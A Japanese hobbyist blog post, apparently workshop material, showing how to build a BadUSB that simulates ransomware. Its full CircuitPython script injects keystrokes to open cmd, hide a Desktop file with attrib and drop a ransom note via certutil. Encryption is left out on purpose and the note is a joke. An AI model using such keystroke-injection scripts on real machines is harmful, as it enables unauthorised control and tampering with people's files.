現在、イベントの予定はありません ( ˘ω˘ )
Raspberry Pi / Arduino

New!! BadUSBを作ってハッキングする(③ランサムウェア編)

AI要約

BadUSBによるハッキングシリーズ第3弾。今回はランサムウェア攻撃を検証しますが、安全性を考慮し、ファイルの暗号化ではなく隠しファイル化によって擬似的に検証します。

はじめに

「BadUSBを作ってハッキングする」シリーズ。前回はターゲットのデスクトップにあるファイルをサーバーに送ることで盗みました。

第3回はランサムウェアを仕込みます。このあたりからガチでヤバい臭いがしてきて、コードをAIに聞いても防犯上の理由で回答にフィルターがかかってきます。

やりたいこと

ターゲットPCのデスクトップにある「important.txt」を暗号化するか、もしくはパスワード付きzipにしたいところです。しかし、ワークショップでみんなにやってもらうとなると、うっかり本当に大切なファイルをロックして、うっかり復元できなくなってしまうことが懸念されます。普通にやらかすと思う。

教育としては思う存分失敗してほしいのですが、親のPCを借りて参加する人もいるだろうし、やらかしたらお父さんクビになっちゃいそう。

そこで安全な方法として、「important.txt を隠しファイルにする」をやってみましょう。これならファイルが見えなくなるだけで、すぐに復元できます。

コマンドプロンプトでファイルに隠しファイル属性(ついでにシステムファイル属性)を付与するのは以下のコマンド。

attrib +h +s important.txt

また、解除は以下

attrib -h -s important.txt

最後に「ransom.txt」を保存して開き、身代金を要求するメッセージを見せたら完了です。

ターゲットファイル

ターゲットPCのデスクトップに機密文書「important.txt」を置いておきます。

隠しファイルを見えないようにする設定

Windowsのエクスプローラーはデフォルトで隠しファイルを非表示にしていますが、「表示する」にしている人もいるでしょう。ターゲットPCではこれを解除してください。

hacking.py

コードはViperIDEで書き込んでテスト実行します。

ViperIDE
import time
import usb_hid
from adafruit_hid.keycode import Keycode
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keyboard_layout_jp import KeyboardLayoutJP

print("自動実行の準備をします...")

# キーボードとして認識されるまで少し待つ
time.sleep(1)

# キーボードの初期化
keyboard = Keyboard(usb_hid.devices)

# キーボードレイアウトの初期化
layout = KeyboardLayoutJP(keyboard)

print("処理を開始します...")

#  Windowsキー + R で「ファイル名を指定して実行」を開く
keyboard.send(Keycode.GUI, Keycode.R)
time.sleep(0.5) # ウインドウが開くときは少し待機

# コマンドプロンプト(cmd)を開く
layout.write("cmd")
keyboard.send(Keycode.ENTER)
time.sleep(0.5) # ウインドウが開くときは少し待機

# 「chcp 65001」でUTF-8に切り替え
layout.write("chcp 65001")
keyboard.send(Keycode.ENTER)

# ターゲットのデスクトップに移動
# %USERPROFILE% = C:\Users\(USERNAME) の意味
layout.write("cd %USERPROFILE%\Desktop")
keyboard.send(Keycode.ENTER)

# important.txtの中身を表示してみる
layout.write("TYPE important.txt")
keyboard.send(Keycode.ENTER)

# attribコマンドでmportant.txtを隠しファイルにする
layout.write("attrib +h +s important.txt")
keyboard.send(Keycode.ENTER)

'''
adafruit_hidでは日本語テキストを入力できない
しかたないので16進数でtmp.txtを保存して日本語に変換する
'''

# 日本語テキスト
japanese_text = "【警告】\nファイルを返してほしければ\n放課後、体育館裏に来い。"

# 日本語テキストをShift-JISの16進数テキストに変換
hex_data = "".join("{:02x}".format(b) for b in japanese_text.encode('shift_jis'))

# echoした16進数をtmp.txtに保存。certutilでransom.txtにデコード。不要になったtmp.txtを削除。
layout.write(f"echo {hex_data} > tmp.txt && certutil -f -decodehex tmp.txt ransom.txt && del tmp.txt")
keyboard.send(Keycode.ENTER)
time.sleep(0.5) # 3つの処理が連続して終わるのを少し待つ

# ransom.txtをメモ帳で表示
layout.write("notepad ransom.txt")
keyboard.send(Keycode.ENTER)

# 「exit」と入力してcmdを閉じる
layout.write("exit")
keyboard.send(Keycode.ENTER)

print("処理が完了しました")

実行すると、コマンドプロンプトが開いてあれこれやられます。

デスクトップ上の「important.txt」が見えなくなり、代わりに「ransom.txt」が生成され、身代金を要求するテキストがポップアップします。

日本語入力のテクニック

ここで技術的な補足。キー入力に使用している「adafruit_hid」パッケージでは日本語(ひらがな、漢字)が一切入力できません。そのため、ランサムテキストをそのまま保存して表示することができません。

なぜかというと、私たちが日本語を入力する時、キーボードは英数字しかPCに送っていなくて、日本語に変換するのはOS側で行っているからです。ですから、それと同じように「kaki」を打ってからスペースキーで「柿」に変換すればいいっちゃいいのですが、変換の順番は端末によって違うので「牡蠣」になったりするわけです。こりゃいかん。

そこで、日本語テキストを16進数コード(すべて英数字)で「tmp.txt」に保存し、そのファイルをcertutilコマンドで日本語の「ransom.txt」に変換するという遠回りを行っています。これなら英数字だけの入力で自由に日本語が使えます。

e38090e8ada6e5918ae380910ae38395e382a1e382a4e383abe38292e8bf94e38197e381a6e381bbe38197e38191e3828ce381b00ae694bee8aab2e5be8ce38081e4bd93e882b2e9a4a8e8a38fe381abe69da5e381a6e381ade38082

【警告】
ファイルを返してほしければ
放課後、体育館裏に来てね。

おわりに

他人のファイルを隠すのは犯罪になりますが、メッセージを表示させるだけなら誕生日サプライズにも使えそう?(喜び << 絶許)

パスワード付きzip化したい場合はPowerShellを使うことになります。自己責任でやってください。

次回は、Webサイトのログイン情報を盗むというガチでヤバいことを試します。

リアクションのお願い

「参考になった!」「刺激された!」と思ったらぜひリアクションをしましょう。エンジニアの世界はGive and Takeによって成り立っています。これからも無料で良質な情報にアクセスできるよう、Giveする人への感謝をリアクションで示しましょう!

この記事をシェアする

自身のブログ等で使用する場合は引用を忘れずに!

また、寄付も受け付けています。コーヒー1杯でとても喜びます(*˘︶˘*)

 Amazonでギフト券(アマギフ)を贈る

こちらのリンク から金額を指定してお贈りください。(デフォルトで10000円になっているのでご変更ください)

配送:Eメール
受取人:staffあっとvigne-cla.com
贈り主:あなたのお名前やニックネーム
メッセージ:◯◯の記事が参考になりました。など

のようにご入力ください。見返りはありませんのでご了承ください。

 Amazonで食事券(すかいらーく優待券)を贈る

500円 1000円 2000円 5000円 からお贈りください。

配送:Eメール
受取人:staffあっとvigne-cla.com
贈り主:あなたのお名前やニックネーム
メッセージ:◯◯の記事が参考になりました。など

のようにご入力ください。見返りはありませんのでご了承ください。

 その他、ギフト券やクーポン券をメールで贈る

デジタルのギフト券/クーポン券はメールアドレス(staffあっとvigne-cla.com)までお送りください。受領の返信をいたします。
紙のギフト券/クーポン券は 「郵便物はこちらへ」の住所 まで送付してください。名刺やメールアドレスを同封していただければ受領の連絡をいたします。
余った株主優待券等の処理におすすめです。
いずれも見返りはありませんのでご了承ください。

不明点はSNSでお気軽にご連絡ください

ビネクラのTwitter・Youtubeでコメントをください!


Slack・Discordの場合はこちらの公開グループに参加してShoya YasudaまでDMをください!


※当ブログに関することは何でもご相談・ご依頼可能です。

この記事を書いた人
Yasuda

博士(理学)。専門は免疫細胞、数理モデル、シミュレーション。米国、中国で研究に携わった。遺伝的アルゴリズム信者。物価上昇のため半額弁当とともに絶滅寸前。

タイトルとURLをコピーしました